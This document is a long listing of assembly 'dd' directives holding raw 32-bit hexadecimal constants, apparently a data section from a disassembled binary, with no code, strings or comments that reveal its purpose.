dd 8AE824ABh, 86E40923h, 6A6CB569h, 20D06CA0h, 9E4FCA0Ah
dd 64BF90E4h, 3CC4F811h, 403E8E95h, 3B11CF34h, 2CF210C0h
dd 0AA6217D5h, 6BFD08A9h, 7F28BE6Dh, 1C321189h, 3E908986h
dd 32FC92CBh, 0F75E2DDCh, 549E0512h, 1360265Fh, 982A2833h
dd 2B4F2DB3h, 2F2ECFAFh, 0B6F7667Fh, 3079204Bh, 3BD93E37h
dd 31B93018h, 79731F3Eh, 6B1A1D9Eh, 0D6322166h, 0F382667h
dd 0A7872A6Bh, 8739EEC5h, 74DDAA32h, 0AD3937A4h, 3DBCACE6h
dd 0FE1DFE49h, 841F9E88h, 27E2764Ch, 2886CEADh, 0E256B5Ah
dd 314A0E43h, 1C91EBD8h, 99A29511h, 0B5A5539h, 1E66170Dh
dd 1F9F7C1Dh, 4A1331CDh, 16362555h, 92A5959h, 4579DC24h
dd 8B3A15CEh, 77863D25h, 0A3540C38h, 0CF3FA849h, 8BE51D8Ah
dd 0B756511Eh, 0BF173422h, 0D52D7C11h, 2F1D3A8Eh, 72EE082Ah
dd 47239633h, 4E2F9937h, 2F3D268Bh, 4CE456B4h, 20D44AE1h
dd 62AD2EA2h, 0C2D8AC32h, 59642B26h, 0FFB36728h, 3674D8CDh
dd 0BA2C40BDh, 2413AB45h, 9DC5D752h, 7448BE01h, 0C522751h
dd 767826E3h, 0EE76CFA2h, 90D62E29h, 46CF2CA6h, 0E836E907h
dd 82C2CDA0h, 1B3F302Dh, 94D4961Eh, 0DDD5B8E1h, 0AFAF9D24h
dd 0D9A1A1A0h, 2CC06DDBh, 36C8F0E6h, 178E3620h, 0AA988AFDh
dd 343A6E6Eh, 0DFD71C90h, 0F3223FF6h, 6047371h, 26410857h
dd 51839E1Ch, 38131187h, 22F1B763h, 45113862h, 3F791439h
dd 351C6F17h, 3C689FA6h, 0CC252366h, 2B36270Ah, 0A62C6BE6h
dd 0A7D9DF63h, 63345A6Eh, 6F392906h, 31403BECh, 0EC0B7A1Eh
dd 20C6F64Dh, 9CE07B37h, 0B25467Fh, 2D08219Ah, 712E786Ch
dd 29319FA1h, 3027E63Bh, 29983C98h, 235AD63Eh, 23204FC1h
dd 362361C0h, 17778956h, 0A9648929h, 702EDDB0h, 686CF2BAh
dd 0C6C9F650h, 0F4718638h, 303E3277h, 111D131Bh, 1D212F1Fh
dd 262A242Ch, 2A262828h, 2E2F2C24h, 0FE3386C6h, 0A72CD603h
dd 3A474661h, 3D3BEF37h, 0C99544D7h, 0BC9718h, 0EF93CB27h
dd 8A2E2138h, 284C2A0Ah, 321CA2A3h, 0DD362332h, 39EAFBE9h
dd 35B7F5B1h, 0ACCFD7D6h, 211F941Dh, 246E22ABh, 27E61C24h
dd 2E7368ACh, 659C2C2Dh, 2A3B3722h, 3D113E30h, 343E1431h
dd 133A0897h, 5616185Dh, 26732925h, 227A2F2Ch, 232B4D20h
dd 432D2D21h, 3D353091h, 33423634h, 3C3E453Fh, 383AB936h
dd 0C1A1D97h, 43B5231Fh, 263627A2h, 21ADB424h, 6F342FAAh
dd 0AB09A117h, 9F0D950Bh, 8301890Fh, 0F105F803h, 0F824C107h
dd 0DA18EF26h, 341D251Ah, 0E113B1Fh, 10151913h, 62096717h
dd 5C0D6D0Bh, 4601430Fh, 0A805B103h, 0B7229F07h, 0E126A824h
dd 0F31AEE18h, 0C51EC41Ch, 6C112110h, 5F434078h, 24E65650h
dd 3C964613h, 4C292A19h, 8C2FAA0Eh, 7E360A23h, 2C202E35h
dd 87242626h, 0EB435E08h, 7C0E4558h, 31727D63h, 44C6ABD5h
dd 0D438390Ch, 9F3CF93Ah, 13199720h, 0E001230Ch, 2C222E2Eh
dd 0EB2B2822h, 9028361Bh, 335D078Fh, 3930DBCCh, 0E566E737h
dd 0CB304C64h, 4D89343Bh, 3700EA11h, 31318138h, 83441D66h
dd 3E837423h, 0DE6EC051h, 0DA268C6Ch, 0D666D868h, 393F8464h
dd 2F4C693Eh, 1BE92DE2h, 2C562EE6h, 5967141h, 0FC2A2A79h
dd 7F3D1E0Bh, 7AA35A3Bh, 0F01166ADh, 1604DE06h, 0BB0FED1h
dd 8E4E3B3Ch, 0DD123D5Dh, 36680514h, 0CA0C7854h, 78087661h
dd 0F645F07Eh, 97A213E1h, 970B9D4Fh, 18674A5Ch, 0EA2CF01Bh
dd 2610DC2Eh, 14293011h, 0D06F43A5h, 8F28AD02h, 0BC86B1BDh
dd 0CDE23633h, 0C83EB97Eh, 0A33FBD6Bh, 851E9AC3h, 32A1CF8Ch
dd 2B24AC81h, 2C297BD8h, 2C29128Eh, 0B0285B25h, 53B65C30h
dd 63BAFD24h, 35BD929Fh, 55103E3Eh, 33F4181Ch, 40052360h
dd 0F907A22Ah, 22A02929h, 0F8143CEDh, 0BF254731h, 7EF02273h
dd 383B3A35h, 923B78B4h, 593EDA1Ah, 3232130h, 3622A24h
dd 0EBAF3D28h, 2F97A823h, 0DB641933h, 334AB757h, 0E1BE3AF8h
dd 69303D3Dh, 951B970Bh, 48A32851h, 317A337Ch, 3D753F78h
dd 0DD123B1Ah, 4D264F0Ch, 31224724h, 0D2170C20h, 0AE91BA97h
dd 3F711B2Bh, 61F02A95h, 0F54CA326h, 0D62A2721h, 0A12D8BFCh
dd 36B2A3A3h, 0DD6533A2h, 0F93A74BCh, 8D63DF4Fh, 9C4613Fh
dd 2F180BA2h, 6CE36412h, 0AB25DB2Ch, 1FB3EC5h, 0F01C6635h
dd 6730B2B8h, 28376660h, 6C6C6C9Dh, 0FB6E223Dh, 907E09BAh
dd 7229129h, 3F269542h, 232B292Ah, 2F3638D3h, 59DABA71h
dd 0C863250Eh, 33DAD92Dh, 3D0DCDB7h, 25143CC0h, 222E2010h
dd 262A242Ch, 2A262828h, 212D23D4h, 3D313F2Fh, 39353B33h
dd 35393737h, 3E32C33Bh, 1D131B30h, 212F1F11h, 252B232Dh
dd 23292729h, 45D3412Ah, 31738097h, 94503232h, 5D683336h
dd 3D193BB3h, 974D6E3Ah, 905F1F5Dh, 0CC3DC920h, 0D726F926h
dd 0F4C7C2A9h, 0F01DD1D3h, 0B4A0A061h, 0B92DB508h, 0FE3A8AFDh
dd 24D4F121h, 1F111D13h, 232D212Fh, 3C94252Bh, 0F4BFB220h
dd 6DADDC77h, 2F70B37Ch, 6D13F564h, 0E809B808h, 691E1BFCh
dd 8A085F1Ah, 0BE843540h, 2911AF07h, 250AB8A6h, 4C220624h
dd 0F5FB94D0h, 390AAC35h, 0FF221CAAh, 0BE94307Fh, 811ADC35h
dd 34703A95h, 307095F0h, 21CBA8F7h, 69CE2875h, 937FF93Bh
dd 7764F733h, 69821D0h, 0B7296B71h, 4E085516h, 0C352D0F5h
dd 242766B2h, 784ECE74h, 4644F32Dh, 2C2B7D2Ah, 64B83667h
dd 0C383631h, 0DFA8BC66h, 1433E133h, 4710A11Ch, 82A2F9Dh
dd 21923FA4h, 0F327293Ch, 585A67DEh, 0DB3E7061h, 3E47DB0Dh
dd 3335C954h, 0B6763542h, 0F6394F1Dh, 0A93420E8h, 0FD30A5FBh
dd 2A30AA52h, 0C67B7B43h, 5A341144h, 3AD13CF1h, 0F9B2672Fh
dd 5DBE37FBh, 3ADD4001h, 213F2F81h, 0B640D4Ch, 823D9B2h
dd 7C02441Eh, 3A8F012Eh, 6943032h, 22ABDFEDh, 7D3D329Ch
dd 5C1F09EDh, 94B7F612h, 570323A4h, 0C0290620h, 0C2A9ABEh
dd 102A3D6Fh, 9903DA3Ch, 0AC881634h, 1C38A709h, 0B9973A31h
dd 573E1933h, 21D2C92Bh, 2308A052h, 0C3022338h, 3F2F9A6Ah
dd 3A223440h, 9BF521DCh, 3F56D13Bh, 0BF388CADh, 1CBD2C1Fh
dd 22326DBh, 0CEE6B02Ch, 0AE2CD836h, 525968F0h, 16BD34EAh
dd 3731F52Fh, 3E8869B1h, 3F2233DBh, 563D63D7h, 29018B3Ch
dd 3176EBA9h, 93C02323h, 7D09BBBDh, 4280228Ch, 552C3052h
dd 1D980312h, 3C3C3F52h, 0E3481A5Fh, 20EF95CAh, 0A02CD4A4h
dd 552426A7h, 39D43D39h, 0D2BAE69h, 34731502h, 523D4237h
dd 0D74C9933h, 99DFBEBh, 5D921A5Dh, 33E87727h, 76642F6Ah
dd 185E236Bh, 26C73751h, 3AD7683Dh, 0DFA3594h, 1E603ECh
dd 0D39C07D8h, 24E1BCBBh, 3681801Bh, 2A78483h, 111D6E87h
dd 0AE691717h, 12653A79h, 61755092h, 1890343h, 0EA06F093h
dd 0DD18BADFh, 9EC03FBEh, 85246788h, 0B970C746h, 0ADECB62Ah
dd 0DD4AFB5h, 98D62B74h, 3A27389Ah, 2944BE30h, 1D1B1242h
dd 764A4D57h, 0FF107521h, 0C514D916h, 23EB2AACh, 302E0BA9h
dd 473B933h, 0BC38C0B0h, 0BF397A22h, 14C0C03Dh, 1C1ED398h
dd 0E15C03A1h, 22A32A04h
dd 0C37C2C28h, 532C9426h, 32BA903Dh, 392CB308h, 9B71C2D0h
dd 9F2A5D33h, 0E696069Fh, 21052C1Ah, 30442823h, 0A12A28B9h
dd 0E4242064h, 3220BB27h, 0DE0FBF3Ah, 337831BDh, 28D96BD3h
dd 6509E430h, 0E028BF91h, 0A403221Ah, 0FD404334h, 0C5648368h
dd 102C2C5Fh, 4128A309h, 294D28D6h, 0FE3DB235h, 1DDC10AFh
dd 0A31B281Dh, 289D25h, 2B574685h, 252DA13Eh, 0FE2E7Dh
dd 48E1B739h, 0C2B4B63Ch, 0B53F453Bh, 703C6A6Ch, 1CF31AB3h
dd 2D21C334h, 0FF2626C7h, 0A22E2161h, 0FC149C16h, 1809330Ah
dd 580D610Fh, 0B301B903h, 0A605AF07h, 0B426BC20h, 0FD1AE424h
dd 8193218h, 3715611Bh, 7A106816h, 0B20C5012h, 8008850Eh
dd 3C04DF0Ah, 16032A05h, 0CE227B01h, 251EEC20h, 0F11BB01Dh
dd 2917C819h, 820A2F0Bh, 7572F4B4h, 77AB1536h, 0AB733335h
dd 6F3B383Bh, 1F99BD90h, 69C441Dh, 0CE20A053h, 2C2F25A6h
dd 2FA948C1h, 322F2F35h, 3130F380h, 3BF764DDh, 7247147Ah
dd 36A26D13h, 0B5462C8Ch, 217310B3h, 2B822D5Fh, 3E2ED618h
dd 0AA50AD18h, 7B73EF0h, 672AB5F5h, 73523D52h, 0EBFA738h
dd 27998881h, 2126A44Dh, 0A6274E05h, 2AFE3A66h, 2B7B7F7Fh
dd 0CF45E27Bh, 3066CB17h, 323888FFh, 0EF005AB1h, 98132CBFh
dd 3C4D1F9Dh, 0E33E97A0h, 83194917h, 181FD81Bh, 0A2045C1Ah
dd 0D6009706h, 0BA0D7B02h, 0FE09A40Fh, 32C3B08h, 0B1286B2Ah
dd 69149D16h, 771F751Dh, 40134E11h, 49175C15h, 0B30B4D09h
dd 0AE0FBA0Dh, 2703CB01h, 0D8061904h, 0EB27FE25h, 0BD18A219h
dd 46550525h, 0D0299D08h, 2F5D9877h, 0D83245C3h, 35943544h
dd 91389F86h, 0EF3F99E4h, 6AD51C6Fh, 2084E01Fh, 2483B789h
dd 8F288C8Ah, 5AB02C5Fh, 97A49A2Fh, 34935C31h, 40389CB5h
dd 4CB73C4Fh, 6F761B4Bh, 43C9C31Eh, 36044049h, 42AC4CB9h
dd 0B29C8096h, 0AE5BB045h, 9F5FA459h, 0A6430B57h, 0E357B951h
dd 77846B7Fh, 4B837582h, 1FA2B1ACh, 9EA84DA5h, 906541A3h
dd 499945AEh, 5FB230F1h, 0B834F744h, 3CDA5352h, 5F661E50h
dd 7496D5BDh, 0D70E0320h, 75CE2F24h, 29C929DAh, 262EDE7Dh
dd 33C073D8h, 3F36C1AEh, 0C908D12Ch, 3FCA6C3Ch, 5B3FF41Ch
dd 0D62920EDh, 34CD2223h, 7B9628D5h, 0C628AB9Fh, 4431C22Dh
dd 223134C7h, 698BCADFh, 3D3DC816h, 0EFCDF9D7h, 2657D825h
dd 0CD08EDA9h, 494C4785h, 599DE32Ah, 6EF0972Ah, 3530F16Ch
dd 3666D337h, 79B73B65h, 974D3B1Ah, 0C8074EECh, 0B2235FCCh
dd 0A9C12545h, 5D4CCD6h, 712C202Eh, 0CB50F735h, 3E36C434h
dd 0C53AC531h, 9E3B6F3Ch, 36FC1DA8h, 0E22DB8Eh, 0DDB8CD60h
dd 0A5C21F28h, 0DFBABC8Dh, 3032ED14h, 1D271FB4h, 643B3098h
dd 0BA25ABE5h, 5E14EC57h, 4313805h, 66207BA2h, 0C293433h
dd 2BAD68A6h, 0D2F0C874h, 9136731h, 3539377Bh, 0C13D333Bh
dd 77080955h, 2F200F0Eh, 4F1899B0h, 0C178AF31h, 0AE1CCBF3h
dd 0AC8217EAh, 331497BCh, 68A84E86h, 0CE3AD36Ah, 825F5C3Dh
dd 3FF71F8Ch, 0D16D811Ah, 42673221h, 4624403Ah, 3C608E25h
dd 5EAD2370h, 0B4DF6731h, 0ED0F3EEBh, 0BED624BFh, 4D8A115Eh
dd 721F2E3Fh, 2634DF24h, 6B1E8C0Ch, 8E01CD25h, 6053AA30h
dd 77C44BB6h, 3B6B72E9h, 86B6FA0h, 8C0B6D8Eh, 633CA10Dh
dd 4851C68h, 212BE109h, 2F4C7E75h, 5F5332A6h, 4927BE12h
dd 2137FC6h, 9A56BE28h, 1E3D191Fh, 0F93A7C9Ch, 64B0CB72h
dd 6443A522h, 46AE3FC8h, 23B046D8h, 351A58B3h, 6653A8B3h
dd 1957A52Ch, 778B84BDh, 4B95AF69h, 0AD9E9A49h, 2E05744Eh
dd 47B441B6h, 71E345A4h, 5FB9DFBCh, 0B614D66Bh, 197A2E3Eh
dd 0F6FFF16h, 0E7E4A4Dh, 0E42A60ECh, 7EE87B7Bh, 28C50B1Bh
dd 452226FCh, 370621F0h, 6D96E882h, 94632D58h, 882789ADh
dd 2E0705A6h, 6371055Dh, 2A211406h, 5F7D2C27h, 66281C3Eh
dd 2C429A9h, 511DD7Ah, 23D11B6Dh, 6E1722B9h, 913005BDh
dd 3FA05F00h, 1246FA9h, 76EEAC16h, 2D777674h, 313DA64Ah
dd 19F0B036h, 38A8F4C2h, 3D43F73Ah, 1C243F01h, 145E1E22h
dd 0D5A87421h, 4FE71ECDh, 86F2ADFh, 395B2F25h, 5933DA67h
dd 0B8850781h, 860A857Bh, 3D7E530Ch, 0E02FA2EBh, 0F1139222h
dd 16992EC4h, 0DAC2A27h, 0CD1CCCDAh, 62AA17B8h, 3810BA18h
dd 751CB33Ch, 303D625Fh, 0EFD10C18h, 0CAB8D148h, 2B7414A1h
dd 0F4C17FDFh, 6F37DE9Dh, 62FFEA4Eh, 364415B5h, 0AE3A3825h
dd 3E2E3C4Ah, 6CBE18BBh, 22200B1Eh, 35245292h, 972B2733h
dd 2D3A2B5Bh, 40FC6D2Dh, 36342432h, 213846ECh, 0D53F3B32h
dd 1C023F4Fh, 515EE81Eh, 27233821h, 28575B21h, 2F2B2232h
dd 2C2F5F3Fh, 0E40AFE08h, 380EEE0Ch, 5DB03E5h, 22D307D5h
dd 0E727ED1Ch, 231BDD19h, 2F1C2525h, 3B102512h, 152E3516h
dd 9120B2Ch, 371A0F1Ch, 5B3B3902h, 333F3D38h, 0EE1E1C5Bh
dd 0CDE2023h, 0A93D1320h, 0C031A63Fh, 36A267F9h, 10322F1Ch
dd 0B9349C39h, 0D221B72Fh, 2FFFFBFAh, 183303B0h, 0C1A9F74Eh
dd 0DA3CAC7Ch, 2D373FA9h, 2B333B45h, 215F3F41h, 64F62353h
dd 26285801h, 3D2C5839h, 0C642F41h, 6DF1F64Ch, 0E2CB325Eh
dd 0EC4D25E7h, 9AC3222Ah, 0C2CEC68h, 0DC3433D5h, 3636D493h
dd 3A3ADE28h, 1ADDA8D5h, 4E1D1DFCh, 0CB2720E1h, 9527E7A2h
dd 3F2E28EBh, 2EEC5BC4h, 3033F2B4h, 0F6BF53DCh, 0BA6C7739h
dd 66D63F3Dh, 235F1D99h, 2273219Eh, 0A500D502h, 9AE2BC1Ah
dd 1E21592Bh, 361544D0h, 3715F043h, 520DFB6Eh, 563C0CBFh
dd 0B6BC1ABDh, 0C16B0FF6h, 0E6338328h, 0E2C02507h, 2DDB21CAh
dd 68F034F6h, 0F67CEBC5h, 8B1DC892h, 6FFC1E23h, 1C49833Eh
dd 2F38A697h, 2B232D3Ah, 0A8EBEA25h, 2D57C223h, 74D921EDh
dd 40323A15h, 0D061C63Ch, 67B83B94h, 5BBC2E1Dh, 0EEC61E03h
dd 2B3239C8h, 385B2632h, 772A222Bh, 292E32C5h, 20CB147Fh
dd 0B425CEFCh, 9A22D53Ch, 0B469CC97h, 1E1C485Dh, 56F3A40Bh
dd 269AF1Fh, 7EA22027h, 2E47280Fh, 6060302Eh, 0BA20CB63h
dd 3B3B3AEBh, 0BB311A3Bh, 941E6FF6h, 79211E1Ch, 51E4A62Bh
dd 28289723h, 2C2C27E8h, 30743AD1h, 6092D32h, 363A3711h
dd 3CFC51AEh, 0B0640D2Fh, 17AB290Dh, 0E80A929Dh, 1F07F212h
dd 1BDB1DF5h, 8030798h, 80B06B1h, 740F720Dh, 0B09B1005h
dd 8707AA05h, 0A0B2640Ch, 998260Ah, 0D550F5Bh, 12E610ECh
dd 0F317E9F8h, 0ADEB490h, 481C4A3Ch, 11457E12h, 3B2F1743h
dd 9B0C615Ah, 8DC9220Eh, 0AB753923h, 7A258864h, 0ECD139D4h
dd 39B13C0Bh, 22B074B9h, 0B9357802h, 0D7C38FEh, 9D329BACh
dd 21DF1D1Ah, 0A53ACB22h, 6CA33F23h, 0AC2A6B2Eh, 0CECE0D15h
dd 0FC07CC32h, 663C74BCh, 3D2C3B64h, 1C13B53Fh, 0AB119615h
dd 18CBEC21h, 0A1D8DBD2h, 0EB2FEA6Fh, 342F266Bh, 7038EE31h
dd 0BB773B34h, 78B636D5h, 1ABD3E19h, 0F74E591Ch, 23DFD9FDh
dd 73AB6583h, 797B210Ch, 2ED7652Dh, 32323F30h, 271279B9h
dd 513E2B68h, 7F1B657Ch, 1ADF7031h, 2A3028DFh, 0E7743CE0h
dd 0EAC5AB20h, 0E025AA23h, 3D78F128h, 6E743BE0h, 3BCFD053h
dd 3C63FA69h, 4B10021Eh, 0C911942Eh, 251FE33Eh, 2FA12F28h
dd 751A2D1Ah, 35147B36h, 633432B9h, 2339FE05h, 9CE3395Bh
dd 1A3A223Dh, 259E57BCh, 24A33245h, 28A735ABh, 0AC300044h
dd 3D6E022Dh, 353A722Fh
dd 38B693F6h, 703BBBEEh, 113FBE23h, 0AB3419FDh, 0C28621A1h
dd 32473720h, 6BAA3F3Bh, 2F91252Ch, 23B3C434h, 6FDE411Eh
dd 0F5B13438h, 0C0CC723Dh, 57F51C1Bh, 0E6212E1Eh, 9C08E629h
dd 0C27AA826h, 0D1D3D269h, 163174D9h, 3F41353Bh, 0BAF4D061h
dd 3F3D3E77h, 1D18DFBCh, 25E26F93h, 0DAB2222h, 51285527h
dd 552D68CAh, 0DDB3592Dh, 37346002h, 263828FAh, 223C243Ah
dd 0E31B203Eh, 20001E02h, 242C223Eh, 2828262Ah, 2C242A26h
dd 3F2F21D2h, 3B333D31h, 37373935h, 333B3539h, 1B30C13Dh
dd 1F111D13h, 232D212Fh, 2729252Bh, 24D52927h, 202E222Ch
dd 73273E30h, 767117Eh, 7ED7AA2Eh, 8323B6Fh, 0CC2EF80Dh
dd 0DAE3362Eh, 159DCC71h, 173F1720h, 213C833Dh, 323E972Fh
dd 4E2F343Ch, 29496F61h, 3A4A5D40h, 6A3C6E4Bh, 7F7F196Bh
dd 7EE44B11h, 4863F2E5h, 0AB3D3B39h, 481977Dh, 0F3068Eh
dd 0CC0D37F8h, 1A0A350Fh, 2A1BB908h, 1683288Ch, 24921482h
dd 0EA119A13h, 0C21DFF1Fh, 70E182Dh, 36B050Ch, 8B0036AFh
dd 730CD80Eh, 233F5B05h, 260E2562h, 22781819h, 1E9E6444h
dd 12F810EDh, 2E0D2D23h, 1F1B7007h, 1E7A0CDCh, 799FAAB6h
dd 0B7BE8515h, 37965CF3h, 1722A0B1h, 0A63103A2h, 79292738h
dd 0A6909B2h, 215B4807h, 36F176F2h, 28D11522h, 0FA713DF3h
dd 333A9F6Bh, 0C908D795h, 22EBBC7h, 0A70F2675h, 0CD2B2089h
dd 0F4C71739h, 6F331208h, 0C93F13DEh, 3C5C3F1Fh, 0C1F1A46h
dd 229B8E4Bh, 0A18B38E1h, 2AA71627h, 0AC13442Ch, 35614D2Dh
dd 35327A30h, 13673DF5h, 1FFB3AD8h, 7B3C3B65h, 1F3A1599h
dd 0DB2A22F8h, 2FA73381h, 3B4368B0h, 372EAD7Dh, 2759D025h
dd 572A5ED7h, 2EC51938h, 397E1176h, 0C1C5C7Dh, 76958294h
dd 4C350003h, 0E5087A37h, 6F283C3Fh, 31F118E6h, 2841F4B6h
dd 9AB772BCh, 595E6D38h, 93C4061h, 32D43E36h, 0B3AFE016h
dd 3CD741B6h, 0A439390Ah, 44DC1768h, 0A163633Fh, 2C18F776h
dd 3A931DBAh, 8F1B31B9h, 15326A30h, 4467757Dh, 29D9A622h
dd 6AA0345Dh, 0C22EBC25h, 0F3321092h, 3BAB8673h, 0EA3E4B14h
dd 1A3A110Dh, 1F1113B3h, 0DA752123h, 503C7122h, 2BAA759Ah
dd 5DEC8BEEh, 91FA7DE2h, 0CB51118h, 5D743969h, 2DC73D6Dh
dd 7A1D4D52h, 0DD2211E4h, 3C27C4B2h, 2A697375h, 389C8CCEh
dd 0D934A125h, 402A7616h, 0B95834A5h, 54913D5Bh, 0E7B49AAh
dd 0B3721EDFh, 7863E6Ch, 6E36722Ch, 9C458DC2h, 8F3A0709h
dd 467D37BFh, 0C9C534EEh, 3DDCDA33h, 5494763Ah, 2A6E1462h
dd 6CE52B85h, 61253851h, 5DC7C279h, 18662622h, 4F3ADA78h
dd 5D16413Fh, 4E58FD87h, 51763B09h, 5F1FDCF4h, 63492B58h
dd 484297A7h, 0B4F47B4h, 0CD2CCCE2h, 0D251119Ah, 25D76E33h
dd 58499FBBh, 4A3BBC3Fh, 6E790EDBh, 4D42456Ch, 3745FF63h
dd 0AF2821C6h, 4E492F4Eh, 505A592Ch, 6E36F41Ch, 1331381Eh
dd 5D729C3Dh, 251A0CFBh, 0EA997B6Bh, 2862B5A6h, 0C2159AFh
dd 0A98A22A9h, 0B14EA627h, 396B223Bh, 9BCF468h, 686F0A34h
dd 971B6868h, 0AB0B3A61h, 24DCA7D0h, 0E1A47A51h, 0DEEB19D6h
dd 0AF802Fh, 0B17AE3C6h, 0D13DBDF5h, 0B8601FB8h, 1962B318h
dd 0F4E6394Fh, 0A5119722h, 70009D31h, 35AAAFE8h, 6230AE74h
dd 336164D1h, 9C28BD27h, 1B1F6969h, 52389E69h, 0DE1B1AB8h
dd 248A3C1Bh, 208D2F57h, 0EAC00D61h, 0A1A07C58h, 3131A4ADh
dd 363232D0h, 0D067DA32h, 0DE078A3Dh, 26443E39h, 1D3724A7h
dd 0ED241F77h, 4F152B1Ah, 25114617h, 0C1531283h, 480B4402h
dd 69A1F09h, 0ED316BE6h, 1F1B9BEEh, 0E2F3D1Dh, 45136111h
dd 185D2615h, 1CE91A9Eh, 0BB2F1F6Eh, 2E02E100h, 38055207h
dd 0F30093Dh, 143F0D2Dh, 751E141Ch, 2EE2399h, 43D94F24h
dd 2B2E2989h, 6C9BB444h, 8B623030h, 37408134h, 1EB35D3Ah
dd 0D73A3D3Ch, 1E1C21EAh, 7761731Eh, 291AF75h, 0A10128F7h
dd 0A77AF52Bh, 0BF251473h, 0BB4B344Dh, 0A73530BCh, 5FF73D3Bh
dd 9D961E01h, 29303B1Eh, 0C31F21A3h, 4DAE2CA7h, 1C2C8A03h
dd 7D320EC3h, 16732FB0h, 0CB20D67Fh, 303D5A77h, 0B41EFF93h
dd 0E31ADC34h, 0EA21231Eh, 757E11C7h, 0F82B8B60h, 0FF2F8F5Dh
dd 5E339368h, 38965BA7h, 49FB0E1Ch, 16390C37h, 8DF9397h
dd 766AC20h, 0CF777528h, 2AEBE142h, 2029ED2Ch, 7435B7A5h
dd 0A106C6FEh, 0B50220F0h, 303424FDh, 87C0719h, 2234C27Ch
dd 77773034h, 3C473E58h, 58ED2A9Dh, 4673AF39h, 0BD623C17h
dd 663DC127h, 0F6392D4Eh, 26A193Dh, 30519E1Ah, 2709DB26h
dd 2D377124h, 6CDA2F3Ah, 5C2C077Ah, 3A023133h, 503A3734h
dd 28B8622Ah, 18DBB46Dh, 85570B99h, 19CA6121h, 70AF2680h
dd 2C8E18C0h, 0B108C740h, 466B4036h, 38C9E930h, 3C1B3B39h
dd 4E194B3Fh, 9F0933F4h, 6114E119h, 4AA770E9h, 797A7E7Eh
dd 6FBEAEC4h, 3A77C13Ch, 0C105B55Eh, 360D3DFEh, 7933757Ah
dd 0BF5D9EFFh, 67AA6719h, 62752280h, 2C8378CFh, 0AFDB1F7Ch
dd 0B8397621h, 6C013F37h, 0B8366437h, 0C1C05C11h, 1C3190C0h
dd 3D801FCEh, 3C4C7362h, 2B2A2626h, 0ED0843B2h, 59102F75h
dd 0F2C43330h, 91C2772h, 383C3F3Ah, 741BBF12h, 0A0CAE11Eh
dd 59263E0Eh, 19762925h, 5043512Dh, 32372E47h, 0D8B03D56h
dd 68733725h, 3C1F76B4h, 2CCB5631h, 4E1F1D58h, 0DC6F2561h
dd 25FDD531h, 2B26EA28h, 270A79A1h, 0FDB9EA03h, 68326726h
dd 643340E6h, 382EF9BFh, 1E107E03h, 1176151Fh, 2463AFDCh
dd 111B2C2Eh, 7E2458ECh, 8A5134C7h, 3671397Bh, 1BD039B7h
dd 0F2C2C386h, 1D5D1B2Ah, 25E19CDEh, 53271BCBh, 1BE937A5h
dd 392906C3h, 9A12C64Eh, 89359137h, 3F843E22h, 3FA4873Bh
dd 0A0DA9B82h, 44C7A202h, 26CB0C21h, 23B4B00Bh, 940B2E07h
dd 0D1660E2Ch, 10AB5A30h, 0DA3ABD34h, 0DE024639h, 0BA1F9D03h
dd 6E1F2DBDh, 62068222h, 0EEA32564h, 0AA12AD27h, 8E6F3828h
dd 3CE0B431h, 37E61FB0h, 34FA69BDh, 761F1FB8h, 9A799C4Fh
dd 8215040Bh, 42A67623h, 0BFF8D777h, 0A592DEAh, 730AD827h
dd 8B77AA1h, 3A2D4737h, 0FC55D43Fh, 94D85AA2h, 3BC81E0Ah
dd 31B5EB87h, 4FC02536h, 39B5E398h, 7CB6C72Dh, 94F08170h
dd 0F0D03322h, 292C92F3h, 0D59AD73Bh, 0C8190AACh, 8DE180A7h
dd 2F339C20h, 44679BC1h, 0B6CD80E1h, 95BFB93Bh, 6B173496h
dd 0C49ED268h, 13FB9F1Dh, 201D7523h, 0BA223E1Fh, 0B6625736h
dd 23A17E38h, 5F360990h, 46C4B430h, 0C8B53504h, 0B83F4D3Ch
dd 4A7E3EC3h, 3A99973Dh, 4A20603Fh, 0F67004DFh, 0CA231B2Dh
dd 0E5122A09h, 6529130Dh, 3A1140BAh, 0BAE7D033h, 3A73B129h
dd 7BB677D7h, 61121FFFh, 30643B37h, 6D29857Ah, 2C8CED4Ah
dd 0B07FC72Fh, 0BB3C8D33h, 24183436h, 0F2B76B31h, 199FFFh
dd 4AFCF61Fh, 25423F61h, 4FCF664Ch, 0D4A02C28h, 0CFAA292Dh
dd 4005B230h, 0BFCBD1Eh, 0ED3BB1F9h, 0DA2E50B4h, 1FED1FF5h
dd 0A0E8AA8Bh, 8DD526C5h, 3A6CA208h, 52E61A7h, 63B23866h
dd 22C96765h, 0BE38E3C4h, 62606244h, 5708B412h, 31211D4Fh
dd 2365242Bh, 28692453h, 0BF38346Ah, 2B01BE25h, 36852550h
dd 4A1C2D36h, 3E8E4F39h, 11D7A3Dh, 7E207D73h, 7A565641h
dd 2950464Bh, 2FB0292Ah, 43424A5Eh, 24B45CE8h, 8D3EE68Ah
dd 3F5CF33Ah, 72393F9Eh
dd 22AD3B9Dh, 5122F752h, 6EBFAD29h, 132B6A2Dh, 14901B2Fh
dd 35B2B331h, 2879BB3Dh, 3C76D268h, 633F3FB8h, 0E08A69DCh
dd 33F84535h, 1FAD2426h, 9375322Ah, 2C2E4D3Ah, 38A2F26Eh
dd 0BC362AF3h, 3A1E7D3Ch, 3FB52F70h, 0E19D761Ah, 133A2894h
dd 8AE61E0Fh, 76B2D53h, 0E6952EBBh, 30019C03h, 62260696h
dd 114C3637h, 0AE6831FFh, 10D94E2Dh, 34334E54h, 0E0762EE1h
dd 9BF792Bh, 7921EB1Eh, 33D1056Ch, 21AE2F93h, 3B2A0874h
dd 315FD22Ah, 909722C9h, 6FEFC239h, 0B46C5A61h, 0C869DE70h
dd 2C3B6459h, 7D5F6E08h, 78C37741h, 0E87B4695h, 9FDAD602h
dd 2B035221h, 3B8B6AB8h, 0B4E45184h, 1B7AD900h, 840EB638h
dd 1762E35Bh, 265A47D0h, 0D7AE4354h, 1E6AF14Dh, 6E2A03C4h
dd 67DA2FBh, 230418F5h, 2C099177h, 525929A6h, 46A72DAEh
dd 73C31C9Bh, 56116005h, 46633942h, 4FE710AFh, 6D8E9A3Eh
dd 5BC9082Ch, 350E9EECh, 2927B5A9h, 21B82B25h, 1FAD9936h
dd 312A0324h, 396822B5h, 2B371B32h, 0CF21FF33h, 0E99B0068h
dd 0AE355621h, 76AD2775h, 2FE92B28h, 32EFAD23h, 3431F4B2h
dd 0E442FFB1h, 39D0FA0Ah, 98FF259Dh, 85EE2C4h, 314217Dh
dd 62AE2F25h, 3B0DE929h, 7166AD73h, 1776B86Dh, 0DF7FB630h
